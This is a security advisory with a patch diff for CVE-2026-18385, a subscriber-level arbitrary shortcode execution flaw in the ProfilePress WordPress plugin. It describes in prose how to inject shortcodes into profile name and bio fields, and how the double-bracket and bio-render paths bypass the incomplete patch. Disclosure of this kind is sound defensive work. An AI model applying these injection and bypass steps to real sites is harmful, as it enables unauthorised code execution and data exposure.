Published : August 16, 2026

CVE-2026-18385: Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content <= 4.16.19 Authenticated (Subscriber+) Arbitrary Shortcode Execution via First Name / Last Name Profile Field PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.4)
CWE 94
Vulnerable Version 4.16.19
Patched Version 4.17.0
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-18385: The ProfilePress plugin, versions up to and including 4.16.19, contains an arbitrary shortcode execution vulnerability. The flaw resides in the frontend profile display functionality, specifically within the shortcode builders handling user-controlled profile fields. An attacker with subscriber-level access can execute arbitrary WordPress shortcodes by injecting shortcode syntax into their First Name, Last Name, or Biography fields.

Root Cause: The vulnerability originates in the FrontendProfileBuilder.php file within the ShortcodeParser directory. Specifically, the ‘first_last_names’, ‘last_first_names’, ‘first_name_initial_l’, and ‘f_initial_last_name’ format cases of the [profile-display-name] shortcode directly concatenate the raw first and last name values from the user object without sanitization. These concatenated values are then passed to a do_shortcode() call. The patch’s application of strip_shortcodes() to these specific fields is insufficient. A bypass exists via the [profile-bio] shortcode, which re-fetches the raw ‘description’ user meta in MemberDirectoryListing.php, and also through the double-bracket escape sequence, where input like ‘[[shortcode]]’ can reach an outer do_shortcode() call without being stripped by a single strip_shortcodes() invocation.

Exploitation: An authenticated attacker with a subscriber account accesses their profile edit page and inserts a malicious shortcode into the ‘First Name’, ‘Last Name’, or ‘About Me’ (Biography) fields. The payload can be a standard shortcode or a double-bracketed variant like ‘[[shortcode]]’. To trigger execution, the attacker must view a page that renders their profile, such as a member directory or a profile page using the [profile-display-name format=”first_last_names”] or [profile-bio] shortcode. When the page is rendered, the plugin calls do_shortcode() on the unsanitized user data, leading to arbitrary shortcode execution.

Patch Analysis: The patch attempts to mitigate the vulnerability by wrapping first and last name values with strip_shortcodes() in the vulnerable format cases of the [profile-display-name] shortcode. It also applies strip_shortcodes() to the bio in MemberDirectoryListing.php. The patch is incomplete because it only handles a subset of the attack surface. The description indicates that bypasses remain through the double-bracket escape sequence and through alternative render paths that re-fetch data, meaning the core issue of insufficient input validation is not fully addressed.

Impact: Successful exploitation allows an authenticated attacker to execute any registered WordPress shortcode. The impact varies depending on available shortcodes. It could lead to data disclosure, content injection, or potentially Remote Code Execution if a powerful shortcode is present (e.g., from WooCommerce, page builders, or other plugins). This elevates the risk from simple account customization to a significant security compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-user-avatar/src/Admin/SettingsPages/EmailSettings/EmailSettingsPage.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/EmailSettings/EmailSettingsPage.php
@@ -190,7 +190,7 @@
                 'title'        => esc_html__('Renewal Order Receipt', 'wp-user-avatar'),
                 'subject'      => sprintf(esc_html__('Subscription Renewal Receipt', 'wp-user-avatar'), $site_title),
                 'message'      => $this->get_order_receipt_content(true),
-                'description'  => esc_html__('Email sent to customer whenever a renewal order occurs.', 'wp-user-avatar'),
+                'description'  => esc_html__('Email sent to customers whenever a renewal order occurs.', 'wp-user-avatar'),
                 'recipient'    => esc_html__('Customers', 'wp-user-avatar'),
                 'placeholders' => $this->get_order_placeholders()
             ],
@@ -210,7 +210,7 @@
                 'title'        => esc_html__('Subscription Cancelled Notification', 'wp-user-avatar'),
                 'subject'      => sprintf(esc_html__('Your subscription has been cancelled.', 'wp-user-avatar'), $site_title),
                 'message'      => $this->get_subscription_cancelled_content(),
-                'description'  => esc_html__('Email sent to customer whenever their subscription is cancelled.', 'wp-user-avatar'),
+                'description'  => esc_html__('Email sent to customers whenever their subscription is cancelled.', 'wp-user-avatar'),
                 'recipient'    => esc_html__('Customers', 'wp-user-avatar'),
                 'placeholders' => $this->get_subscription_placeholders()
             ],
@@ -220,7 +220,17 @@
                 'title'        => esc_html__('Subscription Expired Notification', 'wp-user-avatar'),
                 'subject'      => sprintf(esc_html__('Your subscription has expired.', 'wp-user-avatar'), $site_title),
                 'message'      => $this->get_subscription_expired_content(),
-                'description'  => esc_html__('Email sent to customer whenever their subscription expires.', 'wp-user-avatar'),
+                'description'  => esc_html__('Email sent to customers whenever their subscription expires.', 'wp-user-avatar'),
+                'recipient'    => esc_html__('Customers', 'wp-user-avatar'),
+                'placeholders' => $this->get_subscription_placeholders()
+            ],
+            [
+                'type'         => self::SUBSCRIPTION_EMAIL_TYPE,
+                'key'          => 'subscription_payment_failed_notification',
+                'title'        => esc_html__('Subscription Payment Failed Notification', 'wp-user-avatar'),
+                'subject'      => sprintf(esc_html__('Your subscription payment failed.', 'wp-user-avatar'), $site_title),
+                'message'      => $this->get_subscription_payment_failed_content(),
+                'description'  => esc_html__('Email sent to customers whenever a recurring payment that should renew their subscription fails or goes unpaid.', 'wp-user-avatar'),
                 'recipient'    => esc_html__('Customers', 'wp-user-avatar'),
                 'placeholders' => $this->get_subscription_placeholders()
             ],
@@ -230,7 +240,7 @@
                 'title'        => esc_html__('Subscription Completed Notification', 'wp-user-avatar'),
                 'subject'      => sprintf(esc_html__('Your subscription is now complete.', 'wp-user-avatar'), $site_title),
                 'message'      => $this->get_subscription_completed_content(),
-                'description'  => esc_html__('Email sent to customer whenever they complete their subscription payments.', 'wp-user-avatar'),
+                'description'  => esc_html__('Email sent to customers whenever they complete their subscription payments.', 'wp-user-avatar'),
                 'recipient'    => esc_html__('Customers', 'wp-user-avatar'),
                 'placeholders' => $this->get_subscription_placeholders()
             ],
@@ -240,7 +250,7 @@
                 'title'         => esc_html__('Upcoming Renewal Reminder', 'wp-user-avatar'),
                 'subject'       => sprintf(esc_html__('Your subscription is renewing soon.', 'wp-user-avatar'), $site_title),
                 'message'       => $this->get_subscription_renewal_reminder_content(),
-                'description'   => esc_html__('Email sent to customer to remind them that their subscription is approaching its renewal.', 'wp-user-avatar'),
+                'description'   => esc_html__('Email sent to customers to remind them that their subscription is approaching its renewal.', 'wp-user-avatar'),
                 'recipient'     => esc_html__('Customers', 'wp-user-avatar'),
                 'placeholders'  => $this->get_subscription_placeholders(),
                 'reminder_days' => '1'
@@ -251,7 +261,7 @@
                 'title'         => esc_html__('Upcoming Expiration Reminder', 'wp-user-avatar'),
                 'subject'       => sprintf(esc_html__('Your subscription is expiring soon.', 'wp-user-avatar'), $site_title),
                 'message'       => $this->get_subscription_renewal_reminder_content(true),
-                'description'   => esc_html__('Email sent to customer to remind them that their subscription is approaching its expiration.', 'wp-user-avatar'),
+                'description'   => esc_html__('Email sent to customers to remind them that their subscription is approaching its expiration.', 'wp-user-avatar'),
                 'recipient'     => esc_html__('Customers', 'wp-user-avatar'),
                 'placeholders'  => $this->get_subscription_placeholders(),
                 'reminder_days' => '1'
@@ -262,7 +272,7 @@
                 'title'         => esc_html__('After Subscription Expired Notification', 'wp-user-avatar'),
                 'subject'       => sprintf(esc_html__('Your subscription has expired.', 'wp-user-avatar'), $site_title),
                 'message'       => $this->get_subscription_expired_content(),
-                'description'   => esc_html__('Email sent to customer few days after their subscription expires.', 'wp-user-avatar'),
+                'description'   => esc_html__('Email sent to customers few days after their subscription expires.', 'wp-user-avatar'),
                 'recipient'     => esc_html__('Customers', 'wp-user-avatar'),
                 'placeholders'  => $this->get_subscription_placeholders(),
                 'reminder_days' => '2'
--- a/wp-user-avatar/src/Admin/SettingsPages/Membership/CustomersPage/SettingsPage.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Membership/CustomersPage/SettingsPage.php
@@ -227,7 +227,7 @@
                                            ->utc()->toDateTimeString();
         }

-        $amount = ppress_var($customer_data, 'order_amount', '');
+        $amount = ppress_sanitize_amount(ppress_var($customer_data, 'order_amount', ''));

         if (empty($amount) || Calculator::init($amount)->isNegativeOrZero()) {
             $amount = ppress_get_plan($plan_id)->get_price();
--- a/wp-user-avatar/src/Admin/SettingsPages/Membership/OrdersPage/SettingsPage.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Membership/OrdersPage/SettingsPage.php
@@ -238,7 +238,7 @@
         $coupon_id  = (int)$_POST['coupon_code'];
         $tax_amount = sanitize_text_field($_POST['tax']);

-        $plan_price = ! empty($plan_price) ? $plan_price : PlanFactory::fromId($plan_id)->get_price();
+        $plan_price = ! empty($plan_price) ? ppress_sanitize_amount($plan_price) : PlanFactory::fromId($plan_id)->get_price();

         $order              = OrderFactory::fromId($order_id);
         $order->plan_id     = ppress_sanitize_amount($plan_id);
@@ -271,7 +271,7 @@

         if (TaxService::init()->is_tax_enabled() && ! empty($tax_amount) && TaxService::init()->is_price_inclusive_tax()) {

-            $subtotal = Calculator::init($plan_price)->minus($order->discount)->minus($tax_amount);
+            $subtotal = Calculator::init($plan_price)->minus($order->discount)->minus($order->tax);

             $order->subtotal = $subtotal->val();

--- a/wp-user-avatar/src/Admin/SettingsPages/Membership/SettingsFieldsParser.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Membership/SettingsFieldsParser.php
@@ -110,7 +110,7 @@
             case 'checkbox':
                 $checkbox_label = esc_html(ppress_var($config, 'checkbox_label', '', true));
                 printf('<input type="hidden" name="%1$s" value="false">', $field_id);
-                printf('<label><input type="checkbox" name="%1$s" value="true"%2$s>%3$s</label>', $field_id, checked('true', $field_data, false), $checkbox_label);
+                printf('<label><input id="%4$s" type="checkbox" name="%1$s" value="true"%2$s>%3$s</label>', $field_id, checked('true', $field_data, false), $checkbox_label, $config['id']);
                 break;
             default:
                 do_action('ppress_admin_settings_fields_parser_field', $field_data, $config, $this);
--- a/wp-user-avatar/src/Admin/SettingsPages/Membership/views/add-edit-plan.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Membership/views/add-edit-plan.php
@@ -32,7 +32,7 @@
         return $core_roles;
     })();

-$plan_details = [
+$plan_details = apply_filters('ppress_admin_membership_plan_details', [
     [
         'id'    => 'name',
         'type'  => 'text',
@@ -63,7 +63,7 @@
         'label'       => esc_html__('Price', 'wp-user-avatar') . sprintf(' (%s)', ppress_get_currency_symbol()),
         'description' => esc_html__('The price of this membership plan. Enter 0.00 to make this plan free.', 'wp-user-avatar')
     ]
-];
+]);

 $subscription_settings = apply_filters('ppress_admin_membership_plan_subscription_settings', [
     [
--- a/wp-user-avatar/src/Classes/ExtensionManager.php
+++ b/wp-user-avatar/src/Classes/ExtensionManager.php
@@ -44,6 +44,7 @@
     const SLICEWP = 'slicewp';
     const AFFILIATEWP = 'affiliatewp';
     const AUTORENEWAL_CHECKBOX = 'autorenewal_checkbox';
+    const PAY_WHAT_YOU_WANT = 'pay_what_you_want';

     public static function is_premium()
     {
@@ -87,6 +88,7 @@
             self::LIFTERLMS                     => 'ProfilePressLibsodiumLifterLMS',
             self::INVITATION_CODES              => 'ProfilePressLibsodiumInvitationCodesInit',
             self::FIXED_SUBSCRIPTION_EXPIRATION => 'ProfilePressLibsodiumFixedSubscriptionExpiration',
+            self::PAY_WHAT_YOU_WANT             => 'ProfilePressLibsodiumPayWhatYouWant',
             self::SLICEWP                       => 'ProfilePressLibsodiumSliceWPInit',
             self::AFFILIATEWP                   => 'ProfilePressLibsodiumAffiliateWPInit',
             self::AUTORENEWAL_CHECKBOX          => 'ProfilePressLibsodiumAutoRenewalCheckboxInit',
@@ -137,6 +139,12 @@
                 'description' => esc_html__('Set specific expiration dates for non-recurring membership plans.', 'wp-user-avatar'),
                 'icon'        => '<span class="dashicons dashicons-clock"></span>'
             ],
+            self::PAY_WHAT_YOU_WANT => [
+                'title'       => esc_html__('Pay What You Want', 'wp-user-avatar'),
+                'url'         => 'https://profilepress.com/addons/pay-what-you-want/?utm_source=liteplugin&utm_medium=extension-page&utm_campaign=learn-more',
+                'description' => esc_html__('Let customers pay what they want for your products and memberships by offering a variable pricing option during checkout.', 'wp-user-avatar'),
+                'icon'        => '<svg viewBox="0 0 640 512" xmlns="http://www.w3.org/2000/svg"><path d="m0 8c0-13.3 10.7-24 24-24h45.3c27.1 0 50.3 19.4 55.1 46l.4 2h187.2v102.1l-31-31c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l72 72c9.4 9.4 24.6 9.4 33.9 0l72-72c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-31 31v-102.1h177.4c20 0 35.1 18.2 31.4 37.9l-31.1 165.9c-5.7 30.3-32.1 52.2-62.9 52.2h-303.6l5.1 28.3c2.1 11.4 12 19.7 23.6 19.7h256c13.3 0 24 10.7 24 24s-10.7 24-24 24h-255.9c-34.8 0-64.6-24.9-70.8-59.1l-52.1-286.3c-.7-3.8-4-6.6-7.9-6.6h-45.3c-13.3 0-24-10.7-24-24zm160 456a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm224 0a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z"/></svg>'
+            ],
             self::RECEIPT                       => [
                 'title'       => esc_html__('Receipt', 'wp-user-avatar'),
                 'url'         => 'https://profilepress.com/addons/receipt/?utm_source=liteplugin&utm_medium=extension-page&utm_campaign=learn-more',
--- a/wp-user-avatar/src/Functions/MSFunctions.php
+++ b/wp-user-avatar/src/Functions/MSFunctions.php
@@ -470,15 +470,16 @@
  */
 function ppress_get_currency_symbol($currency = '')
 {
-    if ( ! $currency) {
-        $currency = ppress_get_currency();
-    }
+    return ppress_cache_transform('ppress_get_currency_symbol_'.$currency, function() use ($currency) {
+
+        if ( ! $currency) $currency = ppress_get_currency();

-    $symbols = ppress_get_currency_symbols();
+        $symbols = ppress_get_currency_symbols();

-    $currency_symbol = isset($symbols[$currency]) ? $symbols[$currency] : '';
+        $currency_symbol = $symbols[$currency] ?? '';

-    return apply_filters('ppress_currency_symbol', $currency_symbol, $currency);
+        return apply_filters('ppress_currency_symbol', $currency_symbol, $currency);
+    });
 }


@@ -496,7 +497,7 @@
     }

     $currencies = ppress_get_currencies();
-    $name       = isset($currencies[$code]) ? $currencies[$code] : $code;
+    $name       = $currencies[$code] ?? $code;

     return apply_filters('ppress_currency_name', $name);
 }
--- a/wp-user-avatar/src/Membership/Controllers/CheckoutController.php
+++ b/wp-user-avatar/src/Membership/Controllers/CheckoutController.php
@@ -475,10 +475,7 @@
         try {

             if (empty($_POST['plan_id'])) {
-
-                throw new Exception(
-                    esc_html__('Please enter a plan ID.', 'wp-user-avatar')
-                );
+                throw new Exception(esc_html__('Please enter a plan ID.', 'wp-user-avatar'));
             }

             global $cart_vars;
@@ -569,6 +566,8 @@
                 ];
             }

+            do_action('ppress_update_order_review_actions', $post_data, $planObj, $cart_vars);
+
             wp_send_json_success(
                 apply_filters('ppress_update_order_review_response', [
                     'fragments' => apply_filters('ppress_update_order_review_fragments', $fragments)
--- a/wp-user-avatar/src/Membership/CurrencyFormatter.php
+++ b/wp-user-avatar/src/Membership/CurrencyFormatter.php
@@ -105,8 +105,6 @@
     {
         $amount = $this->amount;

-        if (Calculator::init($amount)->isNegativeOrZero()) $amount = '0';
-
         $sep_found = strpos($amount, $this->decimal_separator);
         if (',' === $this->decimal_separator && false !== $sep_found) {
             $whole  = substr($amount, 0, $sep_found);
@@ -122,7 +120,9 @@
         }

         // one last formatting check especially when amount contains currency
-        $amount = preg_replace('/[^0-9.]/', '', $amount);
+        $amount = preg_replace('/[^0-9.-]/', '', $amount);
+
+        if ( ! is_numeric($amount) || Calculator::init($amount)->isNegativeOrZero()) $amount = '0';

         return $amount;
     }
--- a/wp-user-avatar/src/Membership/Emails/EmailDataTrait.php
+++ b/wp-user-avatar/src/Membership/Emails/EmailDataTrait.php
@@ -182,6 +182,19 @@
         return ob_get_clean();
     }

+    public function get_subscription_payment_failed_content()
+    {
+        ob_start();
+        ?>
+        <p>Hi {{first_name}},</p>
+        <p>The payment to renew the subscription for {{plan_name}} failed or is unpaid. Please update your payment method or subscribe again to keep your membership active.</p>
+        <div style="margin:30px 0 0;padding: 10px 0 50px 0; text-align: center;">
+            <a style="background: #555555; color: #fff; padding: 12px 30px; text-decoration: none; border-radius: 3px; letter-spacing: 0.3px;" href="{{subscription_url}}">Manage Subscription</a>
+        </div>
+        <?php
+        return ob_get_clean();
+    }
+
     public function get_subscription_renewal_reminder_content($expiration = false)
     {
         ob_start();
--- a/wp-user-avatar/src/Membership/Emails/SubscriptionPaymentFailedNotification.php
+++ b/wp-user-avatar/src/Membership/Emails/SubscriptionPaymentFailedNotification.php
@@ -0,0 +1,53 @@
+<?php
+
+namespace ProfilePressCoreMembershipEmails;
+
+use ProfilePressCoreMembershipModelsCustomerCustomerFactory;
+use ProfilePressCoreMembershipModelsSubscriptionSubscriptionEntity;
+
+class SubscriptionPaymentFailedNotification extends AbstractMembershipEmail
+{
+    const ID = 'subscription_payment_failed_notification';
+
+    const DEDUPE_META_KEY = 'payment_failed_email_sent';
+
+    public function __construct()
+    {
+        add_action('ppress_subscription_payment_failed', [$this, 'dispatch_email']);
+    }
+
+    /**
+     * @param SubscriptionEntity $subscription
+     *
+     * @return void
+     */
+    public function dispatch_email($subscription)
+    {
+        if ( ! apply_filters('ppress_membership_subscription_payment_failed_email_enabled', true, $subscription)) return;
+
+        if (ppress_get_setting(self::ID . '_email_enabled', 'on') !== 'on') return;
+
+        // ensures gateway payment retries do not re-send the email within the same billing period.
+        if ($subscription->get_meta(self::DEDUPE_META_KEY) === $subscription->expiration_date) return;
+
+        $placeholders_values = $this->get_subscription_placeholders_values($subscription);
+
+        $subject = apply_filters('ppress_' . self::ID . '_email_subject', $this->parse_placeholders(
+            ppress_get_setting(self::ID . '_email_subject', esc_html__('Your subscription payment failed.', 'wp-user-avatar'), true),
+            $placeholders_values,
+            $subscription
+        ), $subscription);
+
+        $message = apply_filters('ppress_' . self::ID . '_email_content', $this->parse_placeholders(
+            ppress_get_setting(self::ID . '_email_content', $this->get_subscription_payment_failed_content(), true),
+            $placeholders_values,
+            $subscription
+        ), $subscription);
+
+        $recipient = apply_filters('ppress_' . self::ID . '_recipient', CustomerFactory::fromId($subscription->customer_id)->get_email(), $subscription);
+
+        if (ppress_send_email($recipient, $subject, $message)) {
+            $subscription->update_meta(self::DEDUPE_META_KEY, $subscription->expiration_date);
+        }
+    }
+}
--- a/wp-user-avatar/src/Membership/Init.php
+++ b/wp-user-avatar/src/Membership/Init.php
@@ -13,6 +13,7 @@
 use ProfilePressCoreMembershipEmailsSubscriptionCompletedNotification;
 use ProfilePressCoreMembershipEmailsSubscriptionExpirationReminder;
 use ProfilePressCoreMembershipEmailsSubscriptionExpiredNotification;
+use ProfilePressCoreMembershipEmailsSubscriptionPaymentFailedNotification;
 use ProfilePressCoreMembershipEmailsSubscriptionRenewalReminder;
 use ProfilePressCoreMembershipModelsCustomerCustomerFactory;
 use ProfilePressCoreMembershipPaymentMethodsPaymentMethods;
@@ -40,6 +41,7 @@
         SubscriptionRenewalReminder::init();
         SubscriptionExpirationReminder::init();
         SubscriptionAfterExpiredNotification::init();
+        SubscriptionPaymentFailedNotification::init();

         StatSync::init();

--- a/wp-user-avatar/src/Membership/Models/Subscription/SubscriptionEntity.php
+++ b/wp-user-avatar/src/Membership/Models/Subscription/SubscriptionEntity.php
@@ -681,6 +681,14 @@
     }

     /**
+     * @return void
+     */
+    public function payment_failed()
+    {
+        do_action('ppress_subscription_payment_failed', $this);
+    }
+
+    /**
      * @param $change_expiry_date
      * @param int $expiration_date timestamp in UTC
      *
--- a/wp-user-avatar/src/Membership/PaymentMethods/Stripe/PaymentHelpers.php
+++ b/wp-user-avatar/src/Membership/PaymentMethods/Stripe/PaymentHelpers.php
@@ -245,7 +245,7 @@
         try {

             $search_result = APIClass::stripeClient()->customers->search([
-                'query' => sprintf('email:'%s' AND metadata['ppress_customer_id']:'%s'', $customer->get_email(), $customer->id)
+                'query' => sprintf('metadata['ppress_customer_id']:'%s'', $customer->id)
             ])->toArray();

             if ( ! empty($search_result['data']) && isset($search_result['data'][0]['id'])) {
--- a/wp-user-avatar/src/Membership/PaymentMethods/Stripe/WebhookHandlers/CustomerSubscriptionUpdated.php
+++ b/wp-user-avatar/src/Membership/PaymentMethods/Stripe/WebhookHandlers/CustomerSubscriptionUpdated.php
@@ -67,11 +67,9 @@
                 break;
             case 'past_due':
                 $subscription->add_note(
-                    sprintf(
-                        esc_html__('Stripe payment failed (payment is past due)', 'wp-user-avatar'),
-                        ppress_format_date($event_data['cancel_at'])
-                    )
+                    esc_html__('Stripe payment failed (payment is past due)', 'wp-user-avatar')
                 );
+                $subscription->payment_failed();
                 break;
         }

--- a/wp-user-avatar/src/Membership/Services/OrderService.php
+++ b/wp-user-avatar/src/Membership/Services/OrderService.php
@@ -249,12 +249,14 @@

         $args = wp_parse_args($args, $defaults);

+        $planObj = ppress_get_plan(absint($args['plan_id']));
+
+        do_action('ppress_before_checkout_order_calculation', $args, $planObj);
+
         $tax_rate = $args['tax_rate'];

         $coupon_code = ! empty($args['coupon_code']) ? $args['coupon_code'] : '';

-        $planObj = ppress_get_plan(absint($args['plan_id']));
-
         $change_plan_sub_id = intval($args['change_plan_sub_id']);

         $prorated_price_flag = false;
@@ -375,7 +377,7 @@
         $cart->recurring_tax      = $recurring_tax_amount;
         $cart->expiration_date    = SubscriptionService::init()->get_plan_expiration_datetime($planObj->id);

-        return $cart;
+        return apply_filters('ppress_checkout_cart_entity_vars', $cart, $args);
     }

     public function get_customer_orders_url($customer_id, $order_status = false)
--- a/wp-user-avatar/src/ShortcodeParser/Builder/FrontendProfileBuilder.php
+++ b/wp-user-avatar/src/ShortcodeParser/Builder/FrontendProfileBuilder.php
@@ -291,16 +291,16 @@

             switch ($atts['format']) {
                 case 'first_last_names':
-                    $display_name = self::$user_data->first_name . ' ' . self::$user_data->last_name;
+                    $display_name = strip_shortcodes(self::$user_data->first_name) . ' ' . strip_shortcodes(self::$user_data->last_name);
                     break;
                 case 'last_first_names':
-                    $display_name = self::$user_data->last_name . ' ' . self::$user_data->first_name;
+                    $display_name = strip_shortcodes(self::$user_data->last_name) . ' ' . strip_shortcodes(self::$user_data->first_name);
                     break;
                 case 'first_name_initial_l':
-                    $display_name = self::$user_data->first_name . ' ' . self::$user_data->last_name[0];
+                    $display_name = strip_shortcodes(self::$user_data->first_name) . ' ' . strip_shortcodes(self::$user_data->last_name[0]);
                     break;
                 case 'f_initial_last_name':
-                    $display_name = self::$user_data->first_name[0] . ' ' . self::$user_data->last_name;
+                    $display_name = strip_shortcodes(self::$user_data->first_name[0]) . ' ' . strip_shortcodes(self::$user_data->last_name);
                     break;
             }
         }
--- a/wp-user-avatar/src/Themes/DragDrop/MemberDirectoryListing.php
+++ b/wp-user-avatar/src/Themes/DragDrop/MemberDirectoryListing.php
@@ -122,7 +122,7 @@
                 if ($raw_field_type == 'profile-bio') {
                     $bio = get_user_meta($this->user_id, 'description', true);

-                    $parsed_shortcode = apply_filters('ppress_md_profile_bio', $bio, $this->user_id);
+                    $parsed_shortcode = apply_filters('ppress_md_profile_bio', strip_shortcodes($bio), $this->user_id);
                 }

                 if ($raw_field_type == 'profile-website') {
--- a/wp-user-avatar/src/templates/checkout/form-checkout.php
+++ b/wp-user-avatar/src/templates/checkout/form-checkout.php
@@ -77,6 +77,8 @@

                     <?php ppress_render_view('checkout/form-account-info-fields', ['plan' => $planObj]); ?>

+                    <?php do_action('ppress_checkout_before_payment_methods', $cart_vars, $planObj); ?>
+
                     <?php ppress_render_view('checkout/form-payment-methods', [
                         'plan'      => $planObj,
                         'cart_vars' => $cart_vars
--- a/wp-user-avatar/third-party/vendor/composer/installed.php
+++ b/wp-user-avatar/third-party/vendor/composer/installed.php
@@ -2,4 +2,4 @@

 namespace ProfilePressVendor;

-return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '9bb1bb2ae05ea9803fe79e7f846f07a3fa1c5d6c', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => true), 'versions' => array('__root__' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '9bb1bb2ae05ea9803fe79e7f846f07a3fa1c5d6c', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'barryvdh/composer-cleanup-plugin' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '80cceff45bfb85a0f49236537b1f1c928a1ee820', 'type' => 'composer-plugin', 'install_path' => __DIR__ . '/../barryvdh/composer-cleanup-plugin', 'aliases' => array(0 => '0.1.x-dev'), 'dev_requirement' => false), 'brick/math' => array('pretty_version' => '0.9.3', 'version' => '0.9.3.0', 'reference' => 'ca57d18f028f84f777b2168cd1911b0dee2343ae', 'type' => 'library', 'install_path' => __DIR__ . '/../brick/math', 'aliases' => array(), 'dev_requirement' => false), 'carbonphp/carbon-doctrine-types' => array('pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => '99f76ffa36cce3b70a4a6abce41dba15ca2e84cb', 'type' => 'library', 'install_path' => __DIR__ . '/../carbonphp/carbon-doctrine-types', 'aliases' => array(), 'dev_requirement' => false), 'collizo4sky/persist-admin-notices-dismissal' => array('pretty_version' => '1.4.5', 'version' => '1.4.5.0', 'reference' => '163b868c98cf97ea15b4d7e1305e2d52c9242e7e', 'type' => 'library', 'install_path' => __DIR__ . '/../collizo4sky/persist-admin-notices-dismissal', 'aliases' => array(), 'dev_requirement' => false), 'league/csv' => array('pretty_version' => '9.8.0', 'version' => '9.8.0.0', 'reference' => '9d2e0265c5d90f5dd601bc65ff717e05cec19b47', 'type' => 'library', 'install_path' => __DIR__ . '/../league/csv', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.73.0', 'version' => '2.73.0.0', 'reference' => '9228ce90e1035ff2f0db84b40ec2e023ed802075', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'pelago/emogrifier' => array('pretty_version' => 'v6.0.0', 'version' => '6.0.0.0', 'reference' => 'aa72d5407efac118f3896bcb995a2cba793df0ae', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'e41a24703d4560fd0acb709162f73b8adfc3aa0d', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/clock', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'sabberworm/php-css-parser' => array('pretty_version' => 'v8.9.0', 'version' => '8.9.0.0', 'reference' => 'd8e916507b88e389e26d4ab03c904a082aa66bb9', 'type' => 'library', 'install_path' => __DIR__ . '/../sabberworm/php-css-parser', 'aliases' => array(), 'dev_requirement' => false), 'sniccowp/php-scoper-wordpress-excludes' => array('pretty_version' => '6.9.1', 'version' => '6.9.1.0', 'reference' => '94867711087d0efc3d361dbe068044e0124f4c0b', 'type' => 'library', 'install_path' => __DIR__ . '/../sniccowp/php-scoper-wordpress-excludes', 'aliases' => array(), 'dev_requirement' => true), 'stripe/stripe-php' => array('pretty_version' => 'v16.6.0', 'version' => '16.6.0.0', 'reference' => 'd6de0a536f00b5c5c74f36b8f4d0d93b035499ff', 'type' => 'library', 'install_path' => __DIR__ . '/../stripe/stripe-php', 'aliases' => array(), 'dev_requirement' => false), 'symfony/css-selector' => array('pretty_version' => 'v5.4.45', 'version' => '5.4.45.0', 'reference' => '4f7f3c35fba88146b56d0025d20ace3f3901f097', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), 'dev_requirement' => false), 'symfony/deprecation-contracts' => array('pretty_version' => 'v2.5.4', 'version' => '2.5.4.0', 'reference' => '605389f2a7e5625f273b53960dc46aeaf9c62918', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.38.2', 'version' => '1.38.2.0', 'reference' => 'd3d318bad5e7a1bfbd026009c8bfb8d8f99ae6b6', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.37.0', 'version' => '1.37.0.0', 'reference' => 'dfb55726c3a76ea3b6459fcfda1ec2d80a682411', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('pretty_version' => 'v5.4.45', 'version' => '5.4.45.0', 'reference' => '98f26acc99341ca4bab345fb14d7b1d7cb825bed', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-contracts' => array('pretty_version' => 'v2.5.4', 'version' => '2.5.4.0', 'reference' => '450d4172653f38818657022252f9d81be89ee9a8', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.3'))));
